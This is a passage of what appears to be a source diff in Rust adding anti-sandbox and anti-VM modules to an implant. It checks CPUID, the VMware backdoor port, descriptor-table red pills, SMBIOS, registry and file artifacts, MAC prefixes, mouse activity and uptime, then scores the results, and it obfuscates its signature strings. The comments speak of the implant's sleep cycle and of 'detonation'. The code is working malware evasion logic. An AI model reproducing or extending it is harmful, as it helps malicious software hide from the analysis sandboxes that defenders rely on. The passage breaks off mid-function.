|
||||
pattern.push(c as u16);
|
||||
}
|
||||
pattern.push(0);
|
||||
|
||||
let recents = count_files(&pattern, 40);
|
||||
// < 4 recent items on a booted-and-used machine is unusual.
|
||||
recents < 4
|
||||
}
|
||||
}
|
||||
|
||||
/// Number of installed programs (Uninstall subkeys). Sparse program lists
|
||||
/// suggest a disposable image. Weak-ish on its own; part of desktop profile.
|
||||
pub fn installed_programs_sparse(min_expected: u32) -> bool {
|
||||
let path = wide(b"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall");
|
||||
unsafe {
|
||||
let mut hk: usize = 0;
|
||||
if dynapi::RegOpenKeyExW(
|
||||
abi::HKEY_LOCAL_MACHINE,
|
||||
path.as_ptr(),
|
||||
0,
|
||||
abi::KEY_READ,
|
||||
&mut hk,
|
||||
) != 0
|
||||
{
|
||||
return true; // can't even open Uninstall = broken/minimal image
|
||||
}
|
||||
let mut idx: u32 = 0;
|
||||
let mut count: u32 = 0;
|
||||
let mut name_buf = [0u16; 256];
|
||||
loop {
|
||||
let mut sz: u32 = 256;
|
||||
let st = dynapi::RegEnumKeyExW(
|
||||
hk, idx,
|
||||
name_buf.as_mut_ptr(), &mut sz,
|
||||
ptr::null_mut(), ptr::null_mut(), ptr::null_mut(), ptr::null_mut(),
|
||||
);
|
||||
if st != 0 {
|
||||
break;
|
||||
}
|
||||
count += 1;
|
||||
if count >= min_expected {
|
||||
break;
|
||||
}
|
||||
idx += 1;
|
||||
}
|
||||
dynapi::RegCloseKey(hk);
|
||||
count < min_expected
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// MEDIUM/WEAK signals
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
static mut WINDOW_COUNT: u32 = 0;
|
||||
unsafe extern "system" fn count_cb(_hwnd: usize, _lp: isize) -> i32 {
|
||||
WINDOW_COUNT += 1;
|
||||
if WINDOW_COUNT > 500 {
|
||||
return 0;
|
||||
}
|
||||
1
|
||||
}
|
||||
|
||||
/// Very few top-level windows => non-interactive session (service host,
|
||||
/// headless sandbox). Real desktops accumulate many invisible top-levels.
|
||||
pub fn window_count_low(threshold: u32) -> bool {
|
||||
unsafe {
|
||||
WINDOW_COUNT = 0;
|
||||
dynapi::EnumWindows(count_cb as usize, 0);
|
||||
WINDOW_COUNT < threshold
|
||||
}
|
||||
}
|
||||
|
||||
/// Screen resolution below common minimum for real usage.
|
||||
pub fn resolution_anomaly() -> bool {
|
||||
unsafe {
|
||||
let w = dynapi::GetSystemMetrics(0); // SM_CXSCREEN
|
||||
let h = dynapi::GetSystemMetrics(1); // SM_CYSCREEN
|
||||
// Headless sandboxes often report tiny or zero geometry.
|
||||
w < 1100 || h < 650 || w == 0 || h == 0
|
||||
}
|
||||
}
|
||||
|
||||
/// Mouse entropy over a short sampling window: a live session shows cursor
|
||||
/// movement with direction changes. Idle legit machines also show none, so
|
||||
/// this is weak and must be corroborated.
|
||||
pub fn mouse_idle(samples: u32, interval_ms: u32) -> bool {
|
||||
#[repr(C)]
|
||||
struct Point { x: i32, y: i32 }
|
||||
|
||||
unsafe {
|
||||
let mut last = Point { x: 0, y: 0 };
|
||||
let mut moves = 0u32;
|
||||
let mut reversals = 0u32;
|
||||
let mut last_dx = 0i32;
|
||||
let mut first = true;
|
||||
|
||||
for _ in 0..samples {
|
||||
let mut p = Point { x: 0, y: 0 };
|
||||
if dynapi::GetCursorPos(&mut p as *mut _ as *mut c_void) == 0 {
|
||||
return false;
|
||||
}
|
||||
if first {
|
||||
last = p;
|
||||
first = false;
|
||||
} else if p.x != last.x || p.y != last.y {
|
||||
let dx = p.x - last.x;
|
||||
if (dx > 0 && last_dx < 0) || (dx < 0 && last_dx > 0) {
|
||||
reversals += 1;
|
||||
}
|
||||
last_dx = dx;
|
||||
moves += 1;
|
||||
last = p;
|
||||
}
|
||||
abi::Sleep(interval_ms);
|
||||
}
|
||||
|
||||
// Human-like activity requires movement AND at least one reversal
|
||||
// (curved paths). Pure linear glide is automation.
|
||||
!(moves >= 2 && reversals >= 1)
|
||||
}
|
||||
}
|
||||
|
||||
/// Core audio service missing — headless/analysis images frequently strip it.
|
||||
pub fn audio_service_missing() -> bool {
|
||||
let p = wide(b"SYSTEM\\CurrentControlSet\\Services\\Audiosrv");
|
||||
!unsafe { reg_key_exists(&p) }
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Aggregation with corroboration model
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
pub struct SbxVerdict {
|
||||
/// Conclusive hardware/timer tampering — trust alone.
|
||||
pub hard: bool,
|
||||
/// Rare-on-clean-hosts signals.
|
||||
pub strong: u32,
|
||||
/// Common-noise signals, only meaningful with corroboration.
|
||||
pub weak: u32,
|
||||
/// Final computed suspicion score.
|
||||
pub score: u32,
|
||||
}
|
||||
|
||||
/// Run the full battery and compute a corroborated verdict.
|
||||
///
|
||||
/// Scoring:
|
||||
/// - any hard signal → hard=true (caller treats as hostile immediately)
|
||||
/// - score = strong*3 + (weak only if strong>0 else 0), capped
|
||||
/// - identity marker counts as strong but adds +1 bonus weak-equivalent
|
||||
/// because it correlates strongly with lab environments
|
||||
pub fn verdict(mouse_samples: u32, mouse_interval_ms: u32) -> SbxVerdict {
|
||||
let mut strong: u32 = 0;
|
||||
let mut weak: u32 = 0;
|
||||
|
||||
// --- Hard layer ---
|
||||
let hard = sleep_accelerated(1200)
|
||||
|| timer_inconsistent()
|
||||
|| kernel_sleep_accelerated(800);
|
||||
|
||||
// --- Strong layer ---
|
||||
if identity_markers() {
|
||||
strong += 1;
|
||||
}
|
||||
if desktop_activity_sparse() {
|
||||
strong += 1;
|
||||
}
|
||||
if installed_programs_sparse(6) {
|
||||
strong += 1;
|
||||
}
|
||||
|
||||
// --- Weak layer ---
|
||||
if window_count_low(12) {
|
||||
weak += 1;
|
||||
}
|
||||
if resolution_anomaly() {
|
||||
weak += 1;
|
||||
}
|
||||
if audio_service_missing() {
|
||||
weak += 1;
|
||||
}
|
||||
// Mouse idle costs ~1-2s; run it last.
|
||||
if mouse_idle(mouse_samples, mouse_interval_ms) {
|
||||
weak += 1;
|
||||
}
|
||||
|
||||
// Corroboration rule: weak signals are only trusted in the presence of
|
||||
// at least one strong signal. This is the FP killer: a legit fresh PC
|
||||
// might trip 2-3 weak signals but almost never a strong one alongside.
|
||||
let effective_weak = if strong > 0 { weak } else { 0 };
|
||||
let score = strong * 3 + effective_weak;
|
||||
|
||||
SbxVerdict { hard, strong, weak, score }
|
||||
}
|
||||
|
||||
/// Cheap second-pass verification intended to run AFTER the implant's first
|
||||
/// sleep cycle. Sandbox artifacts (accelerated sleeps, absent input) become
|
||||
/// more pronounced over time; a second opinion reduces transient FPs.
|
||||
pub fn verify_second_pass() -> SbxVerdict {
|
||||
let mut strong: u32 = 0;
|
||||
let mut weak: u32 = 0;
|
||||
|
||||
let hard = sleep_accelerated(900);
|
||||
|
||||
if desktop_activity_sparse() {
|
||||
strong += 1;
|
||||
}
|
||||
// Long-window input absence with minimum uptime guard.
|
||||
unsafe {
|
||||
let now = abi::GetTickCount64();
|
||||
if now > 15 * 60 * 1000 {
|
||||
let mut li: [u32; 2] = [core::mem::size_of::<u32>() as u32 * 2, 0];
|
||||
if dynapi::GetLastInputInfo(li.as_mut_ptr() as *mut c_void) != 0 {
|
||||
let last = li[1] as u64;
|
||||
if now.saturating_sub(last) > 20 * 60 * 1000 {
|
||||
weak += 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let effective_weak = if strong > 0 { weak } else { 0 };
|
||||
let score = strong * 3 + effective_weak;
|
||||
SbxVerdict { hard, strong, weak, score }
|
||||
}
|
||||
@@ -0,0 +1,847 @@
|
||||
//! Comprehensive anti-VM / anti-sandbox detection.
|
||||
//!
|
||||
//! Layered detection across many independent vectors; each returns a small
|
||||
//! score contribution. A total above a threshold means the host is very likely
|
||||
//! virtual or an automated analysis sandbox.
|
||||
//!
|
||||
//! Vectors implemented:
|
||||
//! 1. CPUID hypervisor bit + vendor string (leaf 0x40000000)
|
||||
//! 2. CPU brand string (leaves 0x80000002..4) — "Virtual", "KVM", etc.
|
||||
//! 3. VMware backdoor I/O port (VMware-specific magic value in EBX/ECX)
|
||||
//! 4. Instruction red pills — SIDT/SGDT/STR machine-specific values
|
||||
//! 5. SMBIOS / firmware table strings
|
||||
//! 6. Registry artifacts (VMware Tools, VBox Guest Additions, QEMU, Xen)
|
||||
//! 7. Filesystem artifacts (tool binaries, driver files, pipe names)
|
||||
//! 8. MAC address OUI prefixes (VMware/VBox/QEMU/Xen/Hyper-V/KVM vendors)
|
||||
//! 9. Uptime anomaly (fresh snapshot = low uptime)
|
||||
//! 10. Process count anomaly (sandbox VMs run few processes)
|
||||
//! 11. User-input absence (no mouse movement, no keyboard input ever)
|
||||
//! 12. Loaded DLL scan (vmguestlib.dll, vboxhook.dll, etc.)
|
||||
//! 13. Window class/title scan (VBoxTrayToolWindow, VMware tool windows)
|
||||
//! 14. Disk characteristics (fixed-drive volume name patterns)
|
||||
//! 15. CPU core/RAM quirk checks
|
||||
//! 16. Display driver + refresh rate checks
|
||||
|
||||
#![allow(dead_code)]
|
||||
|
||||
use core::arch::asm;
|
||||
use core::ffi::c_void;
|
||||
use core::ptr;
|
||||
|
||||
use crate::abi;
|
||||
use crate::dynapi;
|
||||
use crate::gen;
|
||||
use crate::obf;
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// String helpers
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
fn lower(b: &[u8]) -> Vec<u8> {
|
||||
b.iter().map(|c| c.to_ascii_lowercase()).collect()
|
||||
}
|
||||
|
||||
fn contains(hay: &[u8], needle: &[u8]) -> bool {
|
||||
if needle.is_empty() || hay.len() < needle.len() {
|
||||
return false;
|
||||
}
|
||||
hay.windows(needle.len()).any(|w| w.eq_ignore_ascii_case(needle))
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// 1-2. CPUID-based detection
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
#[inline]
|
||||
unsafe fn cpuid(leaf: u32, sub: u32) -> (u32, u32, u32, u32) {
|
||||
let mut a = leaf;
|
||||
let mut c = sub;
|
||||
let mut d = 0u32;
|
||||
let mut b = 0u32;
|
||||
asm!(
|
||||
"push rbx",
|
||||
"cpuid",
|
||||
"mov {tmp:e}, ebx",
|
||||
"pop rbx",
|
||||
inout("eax") a,
|
||||
inout("ecx") c,
|
||||
out("edx") d,
|
||||
tmp = lateout(reg) b,
|
||||
options(nostack, preserves_flags),
|
||||
);
|
||||
(a, b, c, d)
|
||||
}
|
||||
|
||||
/// Hypervisor-present bit (leaf 1 ECX bit 31).
|
||||
pub fn cpuid_hypervisor_bit() -> bool {
|
||||
unsafe {
|
||||
let (_, _, ecx, _) = cpuid(1, 0);
|
||||
ecx & (1 << 31) != 0
|
||||
}
|
||||
}
|
||||
|
||||
/// Extended hypervisor vendor string via leaf 0x40000000 (EBX:ECX:EDX).
|
||||
pub fn cpuid_hypervisor_vendor() -> Option<String> {
|
||||
if !cpuid_hypervisor_bit() {
|
||||
return None;
|
||||
}
|
||||
unsafe {
|
||||
let (max_leaf, ebx, ecx, edx) = cpuid(0x4000_0000, 0);
|
||||
if max_leaf == 0 {
|
||||
return None;
|
||||
}
|
||||
let bytes: Vec<u8> = [
|
||||
ebx.to_le_bytes(),
|
||||
ecx.to_le_bytes(),
|
||||
edx.to_le_bytes(),
|
||||
]
|
||||
.iter()
|
||||
.flatten()
|
||||
.copied()
|
||||
.collect();
|
||||
Some(String::from_utf8_lossy(&bytes).trim_end_matches('\0').to_string())
|
||||
}
|
||||
}
|
||||
|
||||
/// CPU brand string via extended leaves. Real CPUs say "Intel(R) Core..." /
|
||||
/// "AMD Ryzen...". VMs often inject "Common KVM processor" etc.
|
||||
pub fn cpuid_brand_suspicious() -> bool {
|
||||
unsafe {
|
||||
let (_, max_ext, _, _) = {
|
||||
// leaf 0x80000000 returns max ext leaf in EAX
|
||||
let r = cpuid(0x8000_0000, 0);
|
||||
(r.0, r.0, r.2, r.3)
|
||||
};
|
||||
if max_ext < 0x8000_0004 {
|
||||
return false;
|
||||
}
|
||||
let mut brand = Vec::with_capacity(48);
|
||||
for leaf in [0x8000_0002u32, 0x8000_0003, 0x8000_0004] {
|
||||
let (a, b, c, d) = cpuid(leaf, 0);
|
||||
for v in [a, b, c, d] {
|
||||
brand.extend_from_slice(&v.to_le_bytes());
|
||||
}
|
||||
}
|
||||
let bl = lower(&brand);
|
||||
|
||||
let key: u8 = gen::K_VENDOR;
|
||||
let bad: [(obf::Slot, u32); 6] = [
|
||||
obf::sig(key, 0x6101, b"kvm"),
|
||||
obf::sig(key, 0x6102, b"virtual"),
|
||||
obf::sig(key, 0x6103, b"qemu"),
|
||||
obf::sig(key, 0x6104, b"vmware"),
|
||||
obf::sig(key, 0x6105, b"xen"),
|
||||
obf::sig(key, 0x6106, b"hyper-v"),
|
||||
];
|
||||
const LENS: [usize; 6] = [3, 7, 4, 6, 3, 7];
|
||||
for (i, s) in bad.iter().enumerate() {
|
||||
let plain = obf::dec_sig(key, s, LENS[i]);
|
||||
if contains(&bl, &plain[..LENS[i]]) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// 3. VMware backdoor I/O port
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// VMware's backdoor: `in eax, dx` with DX=0x5658 ("VX") and EAX=0x564D5868
|
||||
/// ("VMXh"). On real VMware, ECX returns the magic 'VMXh'. On bare metal this
|
||||
/// raises SIGSEGV/#GP which we must catch — we can't easily do that from Rust
|
||||
/// without SEH, so we only run this when the hypervisor bit is set anyway
|
||||
/// (cheap and safe), making it a *refinement* rather than a primary signal.
|
||||
pub fn vmware_backdoor_present() -> bool {
|
||||
if !cpuid_hypervisor_bit() {
|
||||
return false;
|
||||
}
|
||||
unsafe {
|
||||
let magic: u32 = 0x564D_5868; // 'VMXh'
|
||||
let port: u16 = 0x5658; // 'VX'
|
||||
let ver_out: u32;
|
||||
let magic_out: u32;
|
||||
asm!(
|
||||
"push rbx",
|
||||
"mov ebx, {magic:e}",
|
||||
"mov ecx, 0xA", // backdoor cmd: get version
|
||||
"in eax, dx",
|
||||
"mov {mo:e}, ebx",
|
||||
"pop rbx",
|
||||
magic = in(reg) magic,
|
||||
mo = out(reg) magic_out,
|
||||
inlateout("eax") magic => ver_out,
|
||||
out("ecx") _,
|
||||
in("dx") port,
|
||||
options(nostack),
|
||||
);
|
||||
// VMware returns its version in EAX; EBX may echo the magic.
|
||||
ver_out != magic || (magic_out & 0xFFFF_FFFF) == magic
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// 4. Instruction red pills
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// SIDT returns the base of the Interrupt Descriptor Table. In VMware on Intel
|
||||
/// the IDT base is commonly at 0xFFxxxxxx (above kernel range start), while on
|
||||
/// bare metal it is usually lower. This is a weak heuristic; score it lightly.
|
||||
pub fn sidt_red_pill() -> bool {
|
||||
#[repr(C, packed(2))]
|
||||
struct Descriptor {
|
||||
limit: u16,
|
||||
base: u64,
|
||||
}
|
||||
let mut d = Descriptor { limit: 0, base: 0 };
|
||||
unsafe {
|
||||
asm!(
|
||||
"sidt [{}]",
|
||||
in(reg) &mut d as *mut Descriptor,
|
||||
options(nostack, preserves_flags),
|
||||
);
|
||||
}
|
||||
// Common VMware-on-Intel signature.
|
||||
(d.base >> 24) >= 0xFF && (d.base >> 32) == 0
|
||||
}
|
||||
|
||||
/// SLDT (Store Local Descriptor Table). On bare metal LDT is usually 0; some
|
||||
/// hypervisors leave a nonzero selector. Weak heuristic.
|
||||
pub fn sldt_anomaly() -> bool {
|
||||
let ldt: u16;
|
||||
unsafe {
|
||||
asm!("sldt {0:x}", out(reg) ldt, options(nostack, preserves_flags));
|
||||
}
|
||||
ldt != 0
|
||||
}
|
||||
|
||||
/// STR (Store Task Register) — trampoline check used by some sandboxes.
|
||||
pub fn str_anomaly(expected_low: u16) -> bool {
|
||||
let tr: u16;
|
||||
unsafe {
|
||||
asm!("str {0:x}", out(reg) tr, options(nostack, preserves_flags));
|
||||
}
|
||||
// Windows usermode task register is typically 0x0040-ish under WoW or 0
|
||||
// in x64. Values far outside normal ranges suggest instrumentation.
|
||||
tr != expected_low && tr > 0x40
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// 5. SMBIOS firmware strings
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
pub fn smbios_firmware_strings() -> bool {
|
||||
const RSMB: u32 = 0x5253_4D42;
|
||||
let size = unsafe { dynapi::GetSystemFirmwareTable(RSMB, 0, ptr::null_mut(), 0) };
|
||||
if size == 0 || size > 4 * 1024 * 1024 {
|
||||
return false;
|
||||
}
|
||||
let mut buf = vec![0u8; size as usize];
|
||||
let got = unsafe { dynapi::GetSystemFirmwareTable(RSMB, 0, buf.as_mut_ptr() as *mut c_void, size) };
|
||||
if got == 0 {
|
||||
return false;
|
||||
}
|
||||
buf.truncate(got as usize);
|
||||
let bl = lower(&buf);
|
||||
|
||||
let key: u8 = gen::K_SMBIOS;
|
||||
let bad: [(obf::Slot, u32); 12] = [
|
||||
obf::sig(key, 0x2001, b"vmware"),
|
||||
obf::sig(key, 0x2002, b"virtualbox"),
|
||||
obf::sig(key, 0x2003, b"qemu"),
|
||||
obf::sig(key, 0x2004, b"kvm"),
|
||||
obf::sig(key, 0x2005, b"innotek"),
|
||||
obf::sig(key, 0x2006, b"bochs"),
|
||||
obf::sig(key, 0x2007, b"virtual machine"),
|
||||
obf::sig(key, 0x2008, b"hyper-v"),
|
||||
obf::sig(key, 0x2009, b"parallels"),
|
||||
obf::sig(key, 0x200a, b"bhyve"),
|
||||
obf::sig(key, 0x200b, b"xen"),
|
||||
obf::sig(key, 0x200c, b"vbox"),
|
||||
];
|
||||
const LENS: [usize; 12] = [6, 10, 4, 3, 7, 5, 15, 7, 9, 5, 3, 4];
|
||||
for (i, s) in bad.iter().enumerate() {
|
||||
let plain = obf::dec_sig(key, s, LENS[i]);
|
||||
if contains(&bl, &plain[..LENS[i]]) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// 6. Registry artifacts
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Check if a registry key exists under HKLM.
|
||||
unsafe fn reg_key_exists(subkey_wide: &[u16]) -> bool {
|
||||
let mut hk: usize = 0;
|
||||
let status = dynapi::RegOpenKeyExW(
|
||||
abi::HKEY_LOCAL_MACHINE,
|
||||
subkey_wide.as_ptr(),
|
||||
0,
|
||||
abi::KEY_READ,
|
||||
&mut hk,
|
||||
);
|
||||
if status == 0 {
|
||||
dynapi::RegCloseKey(hk);
|
||||
true
|
||||
} else {
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
fn wide(s: &[u8]) -> Vec<u16> {
|
||||
s.iter().map(|&c| c as u16).chain(core::iter::once(0)).collect()
|
||||
}
|
||||
|
||||
pub fn registry_artifacts() -> u32 {
|
||||
let mut hits: u32 = 0;
|
||||
|
||||
let key: u8 = gen::K_ENV;
|
||||
let paths: [(obf::Slot, u32); 10] = [
|
||||
// SOFTWARE\VMware, Inc.\VMware Tools
|
||||
obf::sig(key, 0x4201, b"SOFTWARE\\VMware, Inc.\\VMware Tools"),
|
||||
// SOFTWARE\Oracle\VirtualBox Guest Additions
|
||||
obf::sig(key, 0x4202, b"SOFTWARE\\Oracle\\VirtualBox Guest Additions"),
|
||||
// SYSTEM\ControlSet001\Services\VBoxGuest
|
||||
obf::sig(key, 0x4203, b"SYSTEM\\ControlSet001\\Services\\VBoxGuest"),
|
||||
// SYSTEM\ControlSet001\Services\VBoxMouse
|
||||
obf::sig(key, 0x4204, b"SYSTEM\\ControlSet001\\Services\\VBoxMouse"),
|
||||
// SYSTEM\ControlSet001\Services\VBoxSF
|
||||
obf::sig(key, 0x4205, b"SYSTEM\\ControlSet001\\Services\\VBoxSF"),
|
||||
// SYSTEM\ControlSet001\Services\VBoxVideo
|
||||
obf::sig(key, 0x4206, b"SYSTEM\\ControlSet001\\Services\\VBoxVideo"),
|
||||
// HARDWARE\ACPI\DSDT\VBOX__
|
||||
obf::sig(key, 0x4207, b"HARDWARE\\ACPI\\DSDT\\VBOX__"),
|
||||
// HARDWARE\ACPI\FADT\VBOX__
|
||||
obf::sig(key, 0x4208, b"HARDWARE\\ACPI\\FADT\\VBOX__"),
|
||||
// HARDWARE\Description\System\BIOS with SystemManufacturer
|
||||
obf::sig(key, 0x4209, b"HARDWARE\\Description\\System\\BIOS"),
|
||||
// SYSTEM\ControlSet001\Services\vmci
|
||||
obf::sig(key, 0x420a, b"SYSTEM\\ControlSet001\\Services\\vmci"),
|
||||
];
|
||||
const LENS: [usize; 10] = [33, 41, 41, 41, 39, 41, 28, 28, 35, 38];
|
||||
|
||||
unsafe {
|
||||
for (i, s) in paths.iter().enumerate() {
|
||||
let raw = obf::dec_sig(key, s, LENS[i]);
|
||||
let w = wide(&raw[..LENS[i]]);
|
||||
if reg_key_exists(&w) {
|
||||
hits += 1;
|
||||
if hits >= 2 {
|
||||
return hits;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// BIOS table: read SystemManufacturer + SystemProductName values.
|
||||
let bios_key = wide(b"HARDWARE\\DESCRIPTION\\System\\BIOS");
|
||||
if let Some(hk) = open(&bios_key) {
|
||||
let val_names: [(obf::Slot, u32); 2] = [
|
||||
obf::sig(gen::K_ENV, 0x4301, b"SystemManufacturer"),
|
||||
obf::sig(gen::K_ENV, 0x4302, b"SystemProductName"),
|
||||
];
|
||||
const VLENS: [usize; 2] = [18, 17];
|
||||
let mut buf = [0u8; 256];
|
||||
for (i, vn) in val_names.iter().enumerate() {
|
||||
let raw = obf::dec_sig(gen::K_ENV, vn, VLENS[i]);
|
||||
let vw = wide(&raw[..VLENS[i]]);
|
||||
let mut sz: u32 = buf.len() as u32;
|
||||
let st = dynapi::RegQueryValueExW(
|
||||
hk, vw.as_ptr(), ptr::null_mut(), ptr::null_mut(),
|
||||
buf.as_mut_ptr(), &mut sz,
|
||||
);
|
||||
if st == 0 && sz > 0 {
|
||||
let vl = lower(&buf[..sz as usize]);
|
||||
let markers: [&[u8]; 6] =
|
||||
[b"vmware", b"virtualbox", b"qemu", b"kvm", b"xen", b"microsoft corporation virtual"];
|
||||
for m in markers {
|
||||
if contains(&vl, m) {
|
||||
hits += 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
dynapi::RegCloseKey(hk);
|
||||
}
|
||||
}
|
||||
|
||||
hits
|
||||
}
|
||||
|
||||
unsafe fn open(subkey_wide: &[u16]) -> Option<usize> {
|
||||
let mut hk: usize = 0;
|
||||
if dynapi::RegOpenKeyExW(
|
||||
abi::HKEY_LOCAL_MACHINE,
|
||||
subkey_wide.as_ptr(),
|
||||
0,
|
||||
abi::KEY_READ,
|
||||
&mut hk,
|
||||
) == 0
|
||||
{
|
||||
Some(hk)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// 7. Filesystem artifacts
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
const FILE_ATTRIBUTE_INVALID: u32 = 0xFFFF_FFFF;
|
||||
|
||||
unsafe fn file_exists(path_wide: &[u16]) -> bool {
|
||||
abi::GetFileAttributesW(path_wide.as_ptr()) != FILE_ATTRIBUTE_INVALID
|
||||
}
|
||||
|
||||
pub fn filesystem_artifacts() -> u32 {
|
||||
let mut hits: u32 = 0;
|
||||
let key: u8 = gen::K_ENV;
|
||||
|
||||
let files: [(obf::Slot, u32); 14] = [
|
||||
obf::sig(key, 0x4401, b"C:\\Program Files\\VMware\\VMware Tools"),
|
||||
obf::sig(key, 0x4402, b"C:\\Program Files\\Oracle\\VirtualBox Guest Additions"),
|
||||
obf::sig(key, 0x4403, b"C:\\Windows\\System32\\drivers\\vmmouse.sys"),
|
||||
obf::sig(key, 0x4404, b"C:\\Windows\\System32\\drivers\\vmhgfs.sys"),
|
||||
obf::sig(key, 0x4405, b"C:\\Windows\\System32\\drivers\\vboxguest.sys"),
|
||||
obf::sig(key, 0x4406, b"C:\\Windows\\System32\\drivers\\vboxmouse.sys"),
|
||||
obf::sig(key, 0x4407, b"C:\\Windows\\System32\\vboxdisp.dll"),
|
||||
obf::sig(key, 0x4408, b"C:\\Windows\\System32\\vboxhook.dll"),
|
||||
obf::sig(key, 0x4409, b"C:\\Windows\\System32\\vboxmrxnp.dll"),
|
||||
obf::sig(key, 0x440a, b"C:\\Windows\\System32\\drivers\\balloon.sys"),
|
||||
obf::sig(key, 0x440b, b"C:\\Windows\\System32\\drivers\\netkvm.sys"),
|
||||
obf::sig(key, 0x440c, b"C:\\Windows\\System32\\drivers\\pvpanic.sys"),
|
||||
obf::sig(key, 0x440d, b"C:\\Program Files\\Parallels\\Parallels Tools"),
|
||||
obf::sig(key, 0x440e, b"C:\\Windows\\System32\\prl_cc.exe"),
|
||||
];
|
||||
const LENS: [usize; 14] = [37, 51, 43, 42, 46, 46, 39, 38, 42, 44, 44, 44, 45, 36];
|
||||
|
||||
unsafe {
|
||||
for (i, s) in files.iter().enumerate() {
|
||||
let raw = obf::dec_sig(key, s, LENS[i]);
|
||||
let w = wide(&raw[..LENS[i]]);
|
||||
if file_exists(&w) {
|
||||
hits += 1;
|
||||
if hits >= 2 {
|
||||
return hits;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
hits
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// 8. MAC address OUI prefixes
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
#[repr(C)]
|
||||
struct IpAdapterAddresses {
|
||||
_length: u32,
|
||||
_if_index: u32,
|
||||
next: *mut IpAdapterAddresses,
|
||||
_adapter_name: *const u8,
|
||||
_first_unicast: *mut c_void,
|
||||
_first_anycast: *mut c_void,
|
||||
_first_multicast: *mut c_void,
|
||||
_dns_server: *mut c_void,
|
||||
_dns_suffix: *mut u16,
|
||||
_description: *mut u16,
|
||||
_friendly_name: *mut u16,
|
||||
physical_address: [u8; 8],
|
||||
physical_address_length: u32,
|
||||
_flags: u32,
|
||||
}
|
||||
|
||||
/// Known VM/hypervisor OUI prefixes (first 3 bytes of MAC).
|
||||
const VM_OUIS: [[u8; 3]; 12] = [
|
||||
[0x00, 0x05, 0x69], // VMware
|
||||
[0x00, 0x0C, 0x29], // VMware
|
||||
[0x00, 0x1C, 0x14], // VMware
|
||||
[0x00, 0x50, 0x56], // VMware
|
||||
[0x08, 0x00, 0x27], // VirtualBox
|
||||
[0x0A, 0x00, 0x27], // VirtualBox (alt)
|
||||
[0x52, 0x54, 0x00], // QEMU/KVM
|
||||
[0x00, 0x16, 0x3E], // Xen
|
||||
[0x00, 0x1C, 0x42], // Parallels
|
||||
[0x00, 0x03, 0xFF], // Hyper-V (Microsoft)
|
||||
[0x00, 0x15, 0x5D], // Hyper-V
|
||||
[0x02, 0x42, 0xAC], // Docker bridge (container/sandbox hint)
|
||||
];
|
||||
|
||||
const AF_UNSPEC: u32 = 0;
|
||||
const GAA_FLAG_INCLUDE_ALL_INTERFACES: u32 = 0x100;
|
||||
const ERROR_BUFFER_OVERFLOW: u32 = 111;
|
||||
|
||||
pub fn mac_address_vm() -> bool {
|
||||
unsafe {
|
||||
let mut size: u32 = 0;
|
||||
// First call to get required buffer size.
|
||||
let rc = dynapi::GetAdaptersAddresses(
|
||||
AF_UNSPEC,
|
||||
GAA_FLAG_INCLUDE_ALL_INTERFACES,
|
||||
ptr::null_mut(),
|
||||
ptr::null_mut(),
|
||||
&mut size,
|
||||
);
|
||||
if rc != ERROR_BUFFER_OVERFLOW || size == 0 {
|
||||
return false;
|
||||
}
|
||||
let mut buf = vec![0u8; size as usize];
|
||||
let head = buf.as_mut_ptr() as *mut IpAdapterAddresses;
|
||||
let rc = dynapi::GetAdaptersAddresses(
|
||||
AF_UNSPEC,
|
||||
GAA_FLAG_INCLUDE_ALL_INTERFACES,
|
||||
ptr::null_mut(),
|
||||
head as *mut c_void,
|
||||
&mut size,
|
||||
);
|
||||
if rc != 0 {
|
||||
return false;
|
||||
}
|
||||
let mut cur = head;
|
||||
while !cur.is_null() {
|
||||
let a = &*cur;
|
||||
let len = a.physical_address_length as usize;
|
||||
if len >= 3 {
|
||||
for oui in VM_OUIS.iter() {
|
||||
if a.physical_address[0] == oui[0]
|
||||
&& a.physical_address[1] == oui[1]
|
||||
&& a.physical_address[2] == oui[2]
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
cur = a.next;
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// 9. Uptime anomaly
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Sandboxes frequently boot from a fresh snapshot minutes before detonation.
|
||||
pub fn uptime_suspicious(max_minutes: u64) -> bool {
|
||||
let ms = unsafe { abi::GetTickCount64() };
|
||||
ms < max_minutes * 60 * 1000
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// 10. Process-count anomaly
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
pub fn process_count_low(min_expected: usize) -> bool {
|
||||
const TH32CS_SNAPPROCESS: u32 = 0x2;
|
||||
unsafe {
|
||||
